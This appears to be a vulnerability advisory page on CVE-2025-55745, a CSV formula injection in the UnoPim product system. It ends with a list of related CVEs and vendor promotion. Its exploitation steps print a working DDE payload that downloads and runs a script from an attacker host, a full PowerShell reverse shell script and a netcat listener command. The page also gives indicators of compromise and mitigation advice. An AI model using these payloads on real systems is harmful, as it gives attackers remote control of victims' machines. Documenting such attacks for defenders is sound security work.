CVE-2025-55745: 
PHP vulnerability analysis and mitigation

Overview

CVE-2025-55745 is a CSV injection (formula injection) vulnerability in UnoPim, an open-source Product Information Management (PIM) system built on the Laravel framework. Versions 0.3.0 and prior are affected; the vulnerability was disclosed and patched on August 22, 2025. An attacker with product-editing privileges can inject malicious formula payloads into product fields, which are then embedded in exported CSV files and executed when opened in spreadsheet applications such as Microsoft Excel. The CVSS v3.1 base score is 8.8 (High), while the CVSS v4.0 base score is 2.5 (Low) reflecting the subsequent-system impact model (GitHub Advisory).

Technical details

The root cause is CWE-1236 (Improper Neutralization of Formula Elements in a CSV File): UnoPim's Quick Export feature did not sanitize user-supplied product field values before writing them to CSV/XLSX output, allowing values beginning with =, +, -, @, tab (0x09), or carriage return (0x0D) to be interpreted as formulas by spreadsheet applications. An attacker with product-edit access injects a payload such as =cmd|' /C powershell Invoke-WebRequest "http://attacker/shell.ps1" -OutFile "$env:Temp\shell.ps1"; powershell -ExecutionPolicy Bypass -File "$env:Temp\shell.ps1"'!A1 into a text field (e.g., Product Number). When a victim exports products via Quick Export and opens the resulting CSV, the spreadsheet application evaluates the formula and executes the embedded command. Additionally, a CSRF vulnerability in the product edit feature could be used as an alternative injection vector. The fix introduced an EscapeFormulaOperators helper class that wraps dangerous values in single quotes during export and strips them on re-import (GitHub Advisory, Patch Commit).

Impact

Successful exploitation allows an attacker to achieve remote code execution on the victim's machine — specifically the machine of any user who opens the maliciously crafted CSV export. The demonstrated payload establishes a reverse TCP shell (via PowerShell), granting the attacker full interactive control over the victim's device, including the ability to exfiltrate data, install malware, or pivot to other systems. The impact is primarily on the subsequent system (the victim's workstation) rather than the UnoPim server itself, affecting confidentiality, integrity, and availability of the victim's environment (GitHub Advisory).

Exploitability

A proof-of-concept exploit, including a sample payload and a PoC video, is publicly available in the GitHub security advisory (GitHub Advisory). Exploitation requires the attacker to have product-editing privileges within UnoPim, and the victim must open the exported CSV in a spreadsheet application with DDE or dynamic content enabled (note: Office 2021 and Microsoft 365 disable DDE by default, requiring manual re-enablement). The EPSS score is approximately 0.51% (67th percentile), indicating a moderate relative probability of exploitation in the wild. No in-the-wild exploitation or threat actor attribution has been reported, and the vulnerability is not listed in the CISA KEV catalog.

Exploitation steps

  1. Gain product-edit access: Log in to the UnoPim instance with an account that has privileges to edit products (admin or any user with product-edit rights).
  2. Inject the payload: Navigate to any product, click Edit, and insert the malicious formula into a text-accepting field such as the Product Number field. Example payload:
    =cmd|' /C powershell Invoke-WebRequest "http://<attacker-ip>:7000/shell.ps1" -OutFile "$env:Temp\shell.ps1"; powershell -ExecutionPolicy Bypass -File "$env:Temp\shell.ps1"'!A1
  3. Host the reverse shell script: On the attacker's server, serve a PowerShell reverse shell script (shell.ps1) that connects back to the attacker's listener:
    $client = New-Object System.Net.Sockets.TCPClient('<attacker-ip>',8000);
    $stream = $client.GetStream();
    [byte[]]$bytes = 0..65535|%{0};
    while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
      $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);
      $sendback = (iex ". { $data } 2>&1" | Out-String);
      $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
      $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
      $stream.Write($sendbyte,0,$sendbyte.Length);
      $stream.Flush()
    };
    $client.Close()
  4. Trigger the export: Use the Quick Export feature in UnoPim, select CSV format, and download the exported file.
  5. Deliver the CSV to the victim: Send or share the exported CSV with a target user (e.g., a data analyst or administrator) who is expected to open it.
  6. Victim opens the CSV: When the victim opens the file in Microsoft Excel (with DDE enabled, or on older Office versions), the formula executes, downloads shell.ps1 from the attacker's server, and runs it.
  7. Receive reverse shell: The attacker's listener (e.g., nc -lvp 8000) receives the connection, granting full interactive shell access to the victim's machine (GitHub Advisory).

Indicators of compromise

  • Network: Outbound HTTP/HTTPS GET requests from a victim workstation to an unexpected external IP on port 7000 (or similar) fetching a .ps1 file; outbound TCP connections from the victim workstation to an attacker-controlled IP on port 8000 (or configured reverse shell port).
  • File System: Presence of unexpected .ps1 files in %TEMP% (e.g., shell.ps1); recently downloaded scripts in temporary directories originating from Excel or spreadsheet processes.
  • Process: powershell.exe spawned as a child process of EXCEL.EXE or similar spreadsheet applications; PowerShell executing with -ExecutionPolicy Bypass flag; powershell.exe establishing outbound TCP connections.
  • Logs: Windows Event Logs (Event ID 4688 or Sysmon Event ID 1) showing powershell.exe launched by EXCEL.EXE; PowerShell Script Block Logging (Event ID 4104) capturing the reverse shell script content; network proxy or firewall logs showing connections to unexpected external IPs from workstations running spreadsheet software (GitHub Advisory).

Mitigation and workarounds

Upgrade UnoPim to version 0.3.1 or later, which introduces the EscapeFormulaOperators helper that sanitizes formula-triggering characters (=, +, -, @, tab, carriage return) in exported CSV/XLSX files (Patch Commit). As a workaround for users unable to upgrade immediately, restrict product-editing privileges to trusted users only, and instruct CSV recipients to open exported files in a text editor or with formula execution disabled. On Microsoft Office 2021 and Microsoft 365, DDE is disabled by default, which mitigates the most severe exploitation path; ensure this setting is not manually re-enabled (GitHub Advisory).

Additional resources


Source: This report was generated using AI

Related PHP vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-qrxh-g29w-pchrCRITICAL9.1
  • PHP logoPHP
  • yajra/laravel-datatables-oracle
NoYesNov 28, 2026
GHSA-r28f-v6v7-gm9wHIGH8.6
  • PHP logoPHP
  • inter-mediator/inter-mediator
NoNoNov 28, 2026
GHSA-gqm7-fq99-9hmmHIGH7.5
  • PHP logoPHP
  • yajra/laravel-datatables-oracle
NoYesNov 28, 2026
GHSA-7h52-wmhj-vrvfHIGH7.1
  • PHP logoPHP
  • ianm/follow-users
NoYesNov 28, 2026
GHSA-2vpq-v76w-pfwmMEDIUM6.1
  • PHP logoPHP
  • cecil/cecil
NoYesNov 28, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management